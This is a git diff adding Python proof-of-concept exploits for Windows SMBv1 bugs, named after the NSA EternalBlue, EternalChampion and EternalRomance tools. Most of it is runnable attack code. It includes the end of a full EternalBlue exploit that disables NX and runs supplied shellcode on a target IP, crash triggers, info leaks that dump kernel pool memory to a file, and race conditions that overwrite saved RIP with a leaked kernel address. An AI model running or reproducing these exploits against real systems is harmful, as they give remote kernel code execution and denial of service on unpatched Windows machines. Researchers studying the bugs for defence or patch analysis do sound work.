|
||||||
|
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
|
||||||
|
srvnetConn.append(sk)
|
||||||
|
|
||||||
|
# remove holeConn to create hole for fea buffer
|
||||||
|
holeConn.get_socket().close()
|
||||||
|
|
||||||
|
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
|
||||||
|
# first trigger, overwrite srvnet buffer struct for disabling NX
|
||||||
|
send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
|
||||||
|
recvPkt = nxconn.recvSMB()
|
||||||
|
retStatus = recvPkt.getNTStatus()
|
||||||
|
if retStatus == 0xc000000d:
|
||||||
|
print('good response status for nx: INVALID_PARAMETER')
|
||||||
|
else:
|
||||||
|
print('bad response status for nx: 0x{:08x}'.format(retStatus))
|
||||||
|
|
||||||
|
# one of srvnetConn struct header should be modified
|
||||||
|
# send '\x00' to disable nx
|
||||||
|
for sk in srvnetConn:
|
||||||
|
sk.send('\x00')
|
||||||
|
|
||||||
|
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
|
||||||
|
# second trigger, place fake struct and shellcode
|
||||||
|
send_trans2_second(conn, tid, feaList[progress:], progress)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
retStatus = recvPkt.getNTStatus()
|
||||||
|
if retStatus == 0xc000000d:
|
||||||
|
print('good response status: INVALID_PARAMETER')
|
||||||
|
else:
|
||||||
|
print('bad response status: 0x{:08x}'.format(retStatus))
|
||||||
|
|
||||||
|
# one of srvnetConn struct header should be modified
|
||||||
|
# a corrupted buffer will write recv data in designed memory address
|
||||||
|
for sk in srvnetConn:
|
||||||
|
sk.send(fake_recv_struct + shellcode)
|
||||||
|
|
||||||
|
# execute shellcode
|
||||||
|
for sk in srvnetConn:
|
||||||
|
sk.close()
|
||||||
|
|
||||||
|
# nicely close connection (no need for exploit)
|
||||||
|
nxconn.disconnect_tree(tid)
|
||||||
|
nxconn.logoff()
|
||||||
|
nxconn.get_socket().close()
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
TARGET=sys.argv[1]
|
||||||
|
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
|
||||||
|
|
||||||
|
fp = open(sys.argv[2], 'rb')
|
||||||
|
sc = fp.read()
|
||||||
|
fp.close()
|
||||||
|
|
||||||
|
if len(sc) > 0xe80:
|
||||||
|
print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
# Now, shellcode is known. create a feaList
|
||||||
|
feaList = createFeaList(len(sc))
|
||||||
|
|
||||||
|
print('shellcode size: {:d}'.format(len(sc)))
|
||||||
|
print('numGroomConn: {:d}'.format(numGroomConn))
|
||||||
|
|
||||||
|
exploit(TARGET, sc, numGroomConn)
|
||||||
|
print('done')
|
||||||
45
eternalblue_poc.py
Normal file
45
eternalblue_poc.py
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
from impacket import smb
|
||||||
|
from mysmb import MYSMB
|
||||||
|
from struct import pack
|
||||||
|
import sys
|
||||||
|
|
||||||
|
'''
|
||||||
|
PoC: demonstrates how NSA eternalblue triggers the buffer overflow
|
||||||
|
'''
|
||||||
|
|
||||||
|
USERNAME = ''
|
||||||
|
PASSWORD = ''
|
||||||
|
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print("{} <ip>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
|
||||||
|
|
||||||
|
conn = MYSMB(target)
|
||||||
|
conn.login(USERNAME, PASSWORD)
|
||||||
|
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
|
||||||
|
# OOB write ~0x8c00 for BSOD
|
||||||
|
payload = pack('<I', 0x10000)
|
||||||
|
payload += pack('<BBH', 0, 0, 0xc003) + 'A'*0xc004
|
||||||
|
payload += pack('<BBH', 0, 0, 0xcc00) + 'B'*0x4000
|
||||||
|
|
||||||
|
mid = conn.next_mid()
|
||||||
|
# NT function can be any
|
||||||
|
# TRANS2_OPEN2 (0)
|
||||||
|
conn.send_nt_trans(2, setup=pack('<H', 0), mid=mid, param='\x00'*30, data=payload[:1000], totalDataCount=len(payload))
|
||||||
|
i = 1000
|
||||||
|
while i < len(payload):
|
||||||
|
sendSize = min(4096, len(payload) - i)
|
||||||
|
conn.send_trans2_secondary(mid=mid, data=payload[i:i+sendSize], dataDisplacement=i)
|
||||||
|
i += sendSize
|
||||||
|
|
||||||
|
conn.recvSMB()
|
||||||
|
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
57
eternalchampion_leak.py
Normal file
57
eternalchampion_leak.py
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from impacket import smb
|
||||||
|
from mysmb import MYSMB
|
||||||
|
from struct import pack
|
||||||
|
import sys
|
||||||
|
|
||||||
|
'''
|
||||||
|
PoC: demonstrates how NSA eternalchampion leaks a transaction struct
|
||||||
|
|
||||||
|
The purpose of leak is getting CONNECTION address.
|
||||||
|
|
||||||
|
Note:
|
||||||
|
- this PoC only test against Windows 7 x64
|
||||||
|
'''
|
||||||
|
|
||||||
|
USERNAME = ''
|
||||||
|
PASSWORD = ''
|
||||||
|
|
||||||
|
if len(sys.argv) != 3:
|
||||||
|
print("{} <ip> <pipe_name>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
pipe_name = sys.argv[2]
|
||||||
|
|
||||||
|
conn = MYSMB(target)
|
||||||
|
|
||||||
|
conn.login(USERNAME, PASSWORD, maxBufferSize=512)
|
||||||
|
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK
|
||||||
|
|
||||||
|
for i in range(10):
|
||||||
|
conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
|
||||||
|
|
||||||
|
mid_ntrename = conn.next_mid()
|
||||||
|
# create NT_TRANS_RENAME (5) request
|
||||||
|
req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A'*0x1b8, maxParameterCount=0x4e48)
|
||||||
|
# leak 264 bytes
|
||||||
|
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A'*264)
|
||||||
|
reqs = [ conn.create_trans_packet('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) for i in range(15) ]
|
||||||
|
|
||||||
|
conn.send_raw(req1[:-8])
|
||||||
|
conn.send_raw(req1[-8:]+req2+''.join(reqs))
|
||||||
|
|
||||||
|
data = conn.recv_transaction_data(mid_ntrename, 0x1b8+264)
|
||||||
|
|
||||||
|
# no write parameter
|
||||||
|
open('leak.dat', 'wb').write(data[4:])
|
||||||
|
print('All return data is written to leak.dat')
|
||||||
|
|
||||||
|
|
||||||
|
conn.close(tid, fid)
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
85
eternalchampion_poc.py
Normal file
85
eternalchampion_poc.py
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from impacket import smb
|
||||||
|
from mysmb import MYSMB
|
||||||
|
from struct import pack
|
||||||
|
import sys
|
||||||
|
|
||||||
|
'''
|
||||||
|
PoC: demonstrates how NSA eternalchampion controls RIP
|
||||||
|
|
||||||
|
Note:
|
||||||
|
- this PoC is tested against only Windows 7 x64 with 2 and 4 logical processors
|
||||||
|
'''
|
||||||
|
|
||||||
|
USERNAME = ''
|
||||||
|
PASSWORD = ''
|
||||||
|
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print("{} <ip>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
|
||||||
|
|
||||||
|
conn = MYSMB(target)
|
||||||
|
conn.login(USERNAME, PASSWORD)
|
||||||
|
|
||||||
|
# if share name is disk, the race is easier to win because there are more operation to do after InData is modified
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
|
||||||
|
|
||||||
|
def nsa_race(conn, jmp_addr):
|
||||||
|
setup = pack('<H', 5) # QUERY_PATH_INFO
|
||||||
|
|
||||||
|
# set info level to SMB_INFO_QUERY_EA_SIZE at request to force SrvSmbQueryPathInformation restart in another thread
|
||||||
|
param = pack('<HI', 2, 0) + '\x00'*4 # infoLevel, reserved, filename
|
||||||
|
mid = conn.next_mid()
|
||||||
|
# we will overwrite 8 bytes at displacement 312, so data must be at least 320 bytes
|
||||||
|
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid)
|
||||||
|
# change infoLevel parameter to SMB_INFO_IS_NAME_VALID
|
||||||
|
req2 = conn.create_trans2_secondary_packet(mid, param=pack('<H', 6))
|
||||||
|
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312)
|
||||||
|
|
||||||
|
conn.send_raw(req1+req2+req3*8)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
status = recvPkt.getNTStatus()
|
||||||
|
if status == 0xc0000022: # ACCESS_DENIED
|
||||||
|
# fail to modify infoLevel parameter to SMB_INFO_IS_NAME_VALID
|
||||||
|
#print('the race is completely fail')
|
||||||
|
sys.stdout.write('.')
|
||||||
|
elif status == 0xc0000010: # INVALID_DEVICE_REQUEST
|
||||||
|
#print('there is a race')
|
||||||
|
sys.stdout.write('*')
|
||||||
|
else:
|
||||||
|
sys.stdout.write('?')
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
|
||||||
|
def my_race(conn, jmp_addr):
|
||||||
|
setup = pack('<H', 5) # QUERY_PATH_INFO
|
||||||
|
param = pack('<HI', 6, 0) + '\x00'*4 # infoLevel, reserved, filename
|
||||||
|
|
||||||
|
# directly race
|
||||||
|
for i in range(8):
|
||||||
|
mid = conn.next_mid()
|
||||||
|
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid)
|
||||||
|
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312)
|
||||||
|
conn.send_raw(req1+req3*11)
|
||||||
|
for i in range(8):
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() != 0xc0000010:
|
||||||
|
#print('return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||||
|
sys.stdout.write('*')
|
||||||
|
else:
|
||||||
|
sys.stdout.write('.')
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
# if win a race, saved RIP will be modified to 0x4141414141414141
|
||||||
|
nsa_race(conn, 0x4141414141414141)
|
||||||
|
#my_race(conn, 0x4141414141414141)
|
||||||
|
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
161
eternalchampion_poc2.py
Normal file
161
eternalchampion_poc2.py
Normal file
@@ -0,0 +1,161 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from impacket import smb
|
||||||
|
from mysmb import MYSMB
|
||||||
|
from struct import pack, unpack
|
||||||
|
import sys
|
||||||
|
|
||||||
|
'''
|
||||||
|
PoC: demonstrates how NSA eternalchampion works
|
||||||
|
|
||||||
|
Note:
|
||||||
|
- this PoC is tested against only Windows 7 x64 with 2 and 4 logical processors
|
||||||
|
- no support user authentication
|
||||||
|
- the NSA eternalchampion need named pipe or share name to leak info with NT_TRANS_RENAME
|
||||||
|
- the required data for Windows is CONNECTION address. A CONNECTION struct has UNICODE_STRING
|
||||||
|
which size is controlled by SMB_COM_SESSION_SETUP_ANDX command
|
||||||
|
'''
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) != 3:
|
||||||
|
print("{} <ip> <pipe_name>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
pipe_name = sys.argv[2]
|
||||||
|
|
||||||
|
# this one must do something to restore execution
|
||||||
|
# Note: when stagine shellcode is executed, CONNECTION+0x3d0 is at top of stack
|
||||||
|
staging_sc = '\xcc'*128
|
||||||
|
|
||||||
|
def login_put_staging_sc(conn, staging_sc, maxBufferSize):
|
||||||
|
_, flags2 = conn.get_flags()
|
||||||
|
|
||||||
|
# FLAGS2_EXTENDED_SECURITY MUST not be set
|
||||||
|
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
|
||||||
|
|
||||||
|
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
|
||||||
|
flags2 |= smb.SMB.FLAGS2_UNICODE
|
||||||
|
conn.set_flags(flags2=flags2)
|
||||||
|
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
|
||||||
|
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||||
|
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
|
||||||
|
sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize
|
||||||
|
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
|
||||||
|
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
|
||||||
|
sessionSetup['Parameters']['SessionKey'] = 0
|
||||||
|
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
|
||||||
|
# UnicodePasswordLen field is in Reserved for extended security format.
|
||||||
|
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
|
||||||
|
|
||||||
|
# allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes)
|
||||||
|
# UNICODE.maxBufferSize: 0x15ff
|
||||||
|
# after maxBufferSize is padding which is '\x00'*4
|
||||||
|
# so code is 'ff 15 00 00 00 00' => call [rip+0]
|
||||||
|
# after padding is pointer to allocated npp and shellcode there
|
||||||
|
sessionSetup['Data'] = pack('<H', 0x1604) + '\x00'*5 + staging_sc + '\x00'*8
|
||||||
|
pkt.addCommand(sessionSetup)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX):
|
||||||
|
print('SMB1 session setup allocate nonpaged pool success')
|
||||||
|
conn.set_uid(recvPkt['Uid'])
|
||||||
|
else:
|
||||||
|
print('SMB1 session setup allocate nonpaged pool failed')
|
||||||
|
sys.exit()
|
||||||
|
|
||||||
|
|
||||||
|
conn = MYSMB(target)
|
||||||
|
|
||||||
|
login_put_staging_sc(conn, staging_sc, 512)
|
||||||
|
|
||||||
|
|
||||||
|
# if share name is disk, the race is easier to win because there are more operation to do after InData is modified
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK
|
||||||
|
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# leak a transaction
|
||||||
|
# ================================
|
||||||
|
for i in range(10):
|
||||||
|
conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
|
||||||
|
|
||||||
|
mid_ntrename = conn.next_mid()
|
||||||
|
# create NT_TRANS_RENAME (5) request
|
||||||
|
req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A'*0x1b8, maxParameterCount=0x4e48)
|
||||||
|
# leak 264 bytes
|
||||||
|
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A'*264)
|
||||||
|
reqs = [ conn.create_trans_packet('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) for i in range(15) ]
|
||||||
|
|
||||||
|
conn.send_raw(req1[:-8])
|
||||||
|
conn.send_raw(req1[-8:]+req2+''.join(reqs))
|
||||||
|
|
||||||
|
data = conn.recv_transaction_data(mid_ntrename, 0x1b8+264)
|
||||||
|
leakData = data[0x1c0:] # skip data
|
||||||
|
# find TRANSACTION struct to get CONNECTION address
|
||||||
|
pos = data.find('LStr')
|
||||||
|
leakTrans = data[pos+4+0x18:]
|
||||||
|
connection_addr = unpack('<Q', leakTrans[0x10:0x18])[0]
|
||||||
|
print('found CONNECTION address: 0x{:x}'.format(connection_addr))
|
||||||
|
|
||||||
|
|
||||||
|
def nsa_race(conn, jmp_addr):
|
||||||
|
setup = pack('<H', 5) # QUERY_PATH_INFO
|
||||||
|
|
||||||
|
# set info level to SMB_INFO_QUERY_EA_SIZE at request to force SrvSmbQueryPathInformation restart in another thread
|
||||||
|
param = pack('<HI', 2, 0) + '\x00'*4 # infoLevel, reserved, filename
|
||||||
|
mid = conn.next_mid()
|
||||||
|
# we will overwrite 8 bytes at displacement 312, so data must be at least 320 bytes
|
||||||
|
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid)
|
||||||
|
# chnage infoLevel to SMB_INFO_IS_NAME_VALID
|
||||||
|
req2 = conn.create_trans2_secondary_packet(mid, param=pack('<H', 6))
|
||||||
|
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312)
|
||||||
|
|
||||||
|
conn.send_raw(req1+req2+req3*8)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
status = recvPkt.getNTStatus()
|
||||||
|
if status == 0xc0000022: # ACCESS_DENIED
|
||||||
|
#print('the race is completely fail')
|
||||||
|
sys.stdout.write('.')
|
||||||
|
elif status == 0xc0000010: # INVALID_DEVICE_REQUEST
|
||||||
|
# fail to modify infoLevel parameter to SMB_INFO_IS_NAME_VALID
|
||||||
|
#print('there is a race')
|
||||||
|
sys.stdout.write('*')
|
||||||
|
else:
|
||||||
|
sys.stdout.write('?')
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
|
||||||
|
def my_race(conn, jmp_addr):
|
||||||
|
setup = pack('<H', 5) # QUERY_PATH_INFO
|
||||||
|
param = pack('<HI', 6, 0) + '\x00'*4 # infoLevel, reserved, filename
|
||||||
|
|
||||||
|
# directly race
|
||||||
|
for i in range(8):
|
||||||
|
mid = conn.next_mid()
|
||||||
|
req1 = conn.create_trans2_packet(setup, param=param, data='A'*324, mid=mid)
|
||||||
|
req3 = conn.create_trans2_secondary_packet(mid, data=pack('<Q', jmp_addr), dataDisplacement=312)
|
||||||
|
conn.send_raw(req1+req3*11)
|
||||||
|
for i in range(8):
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() != 0xc0000010:
|
||||||
|
#print('return status: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||||
|
sys.stdout.write('*')
|
||||||
|
else:
|
||||||
|
sys.stdout.write('.')
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
# jump to CONNECTION+0x3ca
|
||||||
|
while True:
|
||||||
|
# if win a race, saved RIP will be modified
|
||||||
|
nsa_race(conn, connection_addr+0x3ca)
|
||||||
|
#my_race(conn, connection_addr+0x3ca)
|
||||||
|
|
||||||
|
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
60
eternalromance_leak.py
Normal file
60
eternalromance_leak.py
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
from mysmb import MYSMB
|
||||||
|
from impacket import smb, smbconnection
|
||||||
|
from impacket.dcerpc.v5 import transport, lsat, ndr
|
||||||
|
from struct import pack, unpack
|
||||||
|
import sys
|
||||||
|
|
||||||
|
'''
|
||||||
|
PoC: demonstrates how NSA eternalromance does the info leak
|
||||||
|
|
||||||
|
Note:
|
||||||
|
- this PoC only support lsaprc named pipe
|
||||||
|
- this method works against only Windows<8
|
||||||
|
'''
|
||||||
|
|
||||||
|
USERNAME = ''
|
||||||
|
PASSWORD = ''
|
||||||
|
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print("{} <ip>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
pipe_name = 'lsarpc'
|
||||||
|
|
||||||
|
|
||||||
|
conn = MYSMB(target)
|
||||||
|
conn.login(USERNAME, PASSWORD)
|
||||||
|
|
||||||
|
smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True)
|
||||||
|
dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc()
|
||||||
|
dce.connect()
|
||||||
|
|
||||||
|
conn.set_default_tid(conn.get_last_tid())
|
||||||
|
fid = conn.get_last_fid()
|
||||||
|
|
||||||
|
dce.bind(lsat.MSRPC_UUID_LSAT)
|
||||||
|
|
||||||
|
# send LsarGetUserName without getting result so there are data in named pipe to peek
|
||||||
|
request = lsat.LsarGetUserName()
|
||||||
|
request['SystemName'] = "\x00"
|
||||||
|
request['UserName'] = "A"*263+'\x00' # this data size determines how many bytes of data we can leak
|
||||||
|
request['DomainName'] = ndr.NULL
|
||||||
|
dce.call(request.opnum, request)
|
||||||
|
|
||||||
|
|
||||||
|
# send TRANS_PEEK_NMPIPE (0x23) request with small OutData buffer to leak info
|
||||||
|
recvPkt = conn.send_trans(pack('<HH', 0x23, fid), '', '', maxDataCount=1, maxParameterCount=0x5400, maxSetupCount=1)
|
||||||
|
resp = smb.SMBCommand(recvPkt['Data'][0])
|
||||||
|
data = resp['Data'][1+6+2:] # skip padding, parameter, padding
|
||||||
|
|
||||||
|
open('leak.dat', 'wb').write(data)
|
||||||
|
print('All return data is written to leak.dat')
|
||||||
|
|
||||||
|
|
||||||
|
# receive result to clear name pipe data
|
||||||
|
dce.recv()
|
||||||
|
|
||||||
|
dce.disconnect()
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
40
eternalromance_poc.py
Normal file
40
eternalromance_poc.py
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from impacket import smb
|
||||||
|
from mysmb import MYSMB
|
||||||
|
import sys
|
||||||
|
|
||||||
|
'''
|
||||||
|
PoC: demonstrates the bug that NSA eternalromance and eternalsynergy use for OOB write
|
||||||
|
'''
|
||||||
|
|
||||||
|
USERNAME = ''
|
||||||
|
PASSWORD = ''
|
||||||
|
|
||||||
|
if len(sys.argv) != 3:
|
||||||
|
print("{} <ip> <pipe_name>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
pipe_name = sys.argv[2]
|
||||||
|
|
||||||
|
conn = MYSMB(target)
|
||||||
|
conn.login(USERNAME, PASSWORD)
|
||||||
|
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
|
||||||
|
fid = conn.nt_create_andx(tid, pipe_name)
|
||||||
|
|
||||||
|
# create incomplete transaction with mid is pipe fid
|
||||||
|
conn.send_nt_trans(0, mid=fid, totalDataCount=0x5400)
|
||||||
|
|
||||||
|
# use SMB write to shift transaction.InData
|
||||||
|
conn.do_write_andx_raw_pipe(fid, 'A'*0x1000)
|
||||||
|
|
||||||
|
# send secondary for OOB write
|
||||||
|
# after sending below secondary, a target should be crashed
|
||||||
|
conn.send_nt_trans_secondary(fid, data='Z'*0x1000, dataDisplacement=0x4000)
|
||||||
|
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
144
eternalromance_poc2.py
Normal file
144
eternalromance_poc2.py
Normal file
@@ -0,0 +1,144 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from mysmb import MYSMB
|
||||||
|
from impacket import smb, smbconnection
|
||||||
|
from impacket.dcerpc.v5 import transport, lsat, ndr
|
||||||
|
from struct import pack, unpack
|
||||||
|
import sys
|
||||||
|
|
||||||
|
'''
|
||||||
|
PoC: demonstrates how NSA eternalromance works against Windows 7 x64 (matched-pairs method).
|
||||||
|
|
||||||
|
The PoC is written from capture network traffic against Windows 7 x64.
|
||||||
|
I do my best to make it the same as original NSA eternalromance.
|
||||||
|
|
||||||
|
NSA eternalromance works against Windows<8 because information leak bug is fixed in Windows>=8.
|
||||||
|
NSA eternalsynergy changes information leak method to exploit Windows 8 and Windows 2012.
|
||||||
|
NSA eternalsynergy also do something to bypass NonpagedPoolNx. I do not check it.
|
||||||
|
'''
|
||||||
|
|
||||||
|
USERNAME = ''
|
||||||
|
PASSWORD = ''
|
||||||
|
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print("{} <ip>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
pipe_name = 'lsarpc'
|
||||||
|
|
||||||
|
|
||||||
|
conn = MYSMB(target)
|
||||||
|
conn.login(USERNAME, PASSWORD)
|
||||||
|
|
||||||
|
smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True)
|
||||||
|
dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc()
|
||||||
|
dce.connect()
|
||||||
|
|
||||||
|
conn.set_default_tid(conn.get_last_tid())
|
||||||
|
fid = conn.get_last_fid()
|
||||||
|
|
||||||
|
dce.bind(lsat.MSRPC_UUID_LSAT)
|
||||||
|
|
||||||
|
# send LsarGetUserName without getting result so there are data in named pipe to peek
|
||||||
|
request = lsat.LsarGetUserName()
|
||||||
|
request['SystemName'] = "\x00"
|
||||||
|
request['UserName'] = "A"*263+'\x00' # this data size determines how many bytes of data we can leak
|
||||||
|
request['DomainName'] = ndr.NULL
|
||||||
|
dce.call(request.opnum, request)
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# first leak
|
||||||
|
# ================================
|
||||||
|
print('Leaking to determine Architecture')
|
||||||
|
# send TRANS_PEEK_NMPIPE (0x23) request with small OutData buffer to leak info
|
||||||
|
recvPkt = conn.send_trans(pack('<HH', 0x23, fid), maxDataCount=1, maxParameterCount=0x5400, maxSetupCount=1)
|
||||||
|
resp = smb.SMBCommand(recvPkt['Data'][0])
|
||||||
|
data = resp['Data'][1+6+2:] # skip padding, parameter, padding
|
||||||
|
|
||||||
|
# NSA eternalromance use first info leak to check target architecture
|
||||||
|
# we assume target is x64
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# initial groom
|
||||||
|
# ================================
|
||||||
|
print('sending packet')
|
||||||
|
# send 10 groom packets
|
||||||
|
for i in range(10):
|
||||||
|
conn.send_trans(pack('<HH', 0x36, fid), totalDataCount=0x5400, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
|
||||||
|
|
||||||
|
mids = []
|
||||||
|
pids = []
|
||||||
|
for i in range(3):
|
||||||
|
mid = conn.next_mid()
|
||||||
|
pid = conn._pid - i - 1
|
||||||
|
|
||||||
|
# req1 is for leak bride transaction
|
||||||
|
req1 = conn.create_trans_packet(pack('<HH', 0x23, fid), mid=mid, totalDataCount=1, maxParameterCount=0x5400, maxSetupCount=0)
|
||||||
|
# req2 is for modify bride transaction, next to this groom, with OOB write
|
||||||
|
req2 = conn.create_trans_packet(pack('<HH', 0x36, fid), mid=fid, pid=pid, totalDataCount=0x5400, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
|
||||||
|
# req3 is for ?
|
||||||
|
req3 = conn.create_trans_packet(pack('<HH', 0x36, fid), totalDataCount=0x5400, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
|
||||||
|
conn.send_raw(req1+req2+req3)
|
||||||
|
|
||||||
|
mids.append(mid)
|
||||||
|
pids.append(pid)
|
||||||
|
|
||||||
|
for i in range(len(mids)):
|
||||||
|
conn.recvSMB()
|
||||||
|
|
||||||
|
# normally, small transaction is allocated from lookaside which force all buffer size to 0x5000
|
||||||
|
# the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup
|
||||||
|
# send 48 bride packets
|
||||||
|
for i in range(48):
|
||||||
|
conn.send_trans('', totalDataCount=0x40, maxSetupCount=0, maxParameterCount=0x940, maxDataCount=0)
|
||||||
|
|
||||||
|
# now, bride transactions should be next to groom transactions
|
||||||
|
# groom + bride => romance ?
|
||||||
|
|
||||||
|
# ================================
|
||||||
|
# leak a transaction
|
||||||
|
# ================================
|
||||||
|
print('Leaking a transaction')
|
||||||
|
# leak a bride transaction
|
||||||
|
conn.send_trans_secondary(mids[0], data='A')
|
||||||
|
leakData = conn.recv_transaction_data(mids[0], 520)
|
||||||
|
|
||||||
|
|
||||||
|
# NSA eternalromance parse leakData to get bride transaction (I skip this step)
|
||||||
|
# from leak transaction, we know
|
||||||
|
# - leak bride transaction address
|
||||||
|
# - CONNECTION address
|
||||||
|
# - next and previous transaction (flink and blink of LIST_ENTRY)
|
||||||
|
# - ...
|
||||||
|
# I do not know how NSA eternalromance use this leak info. I just look at pcap file.
|
